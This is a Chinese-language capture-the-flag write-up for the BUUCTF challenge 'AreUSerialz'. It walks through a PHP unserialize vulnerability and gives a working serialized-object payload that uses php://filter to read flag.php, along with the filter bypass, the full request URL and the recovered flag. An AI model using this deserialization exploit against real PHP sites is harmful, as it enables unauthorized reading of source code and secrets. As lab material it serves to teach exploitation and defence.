BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
看题
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
可以看到,首先让我们传入一个str字符串,往后看到is_valid
函数进行限制,传入的每个字符ascii码值必须在32~125之间,然后对传入的str执行反序列化。
先用destruct函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op===2,那么op会赋值为1,content无值,并执行process函数,(===
强类型比较)
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
process函数,若op=="1"
,则执行write函数;若op=="2"
,则执行read函数,并且将值赋到res
然后输出;否则输出Bad Hacker!
。
此处为==
,弱类型比较,op=="2"
,结果为true,op==="2"
,结果为false。
read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
调用file_get_contents
函数读取filename的内容,并且将值赋给res
include("flag.php");
可以通过php://filter伪协议读取flag.php中的内容。
构造反序列化
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a = new FileHandler();
echo serialize($a);
?>
若用php版本低于7,会有00%,其对应ascii值为0,不在32~125,但是php7.X对属性类型不敏感,所以将protected
改为public
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
得到序列化结果
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload
http://e4929784-06ac-4807-8418-f142d1f5c1be.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
得到一段base64加密的语句。
PD9waHAgJGZsYWc9J2ZsYWd7ODM0Y2UxOTAtZTdiMC00MGYxLWIxYTQtMDE2YjBhMTE3YjMyfSc7Cg==
base64解码得到
<?php $flag='flag{834ce190-e7b0-40f1-b1a4-016b0a117b32}';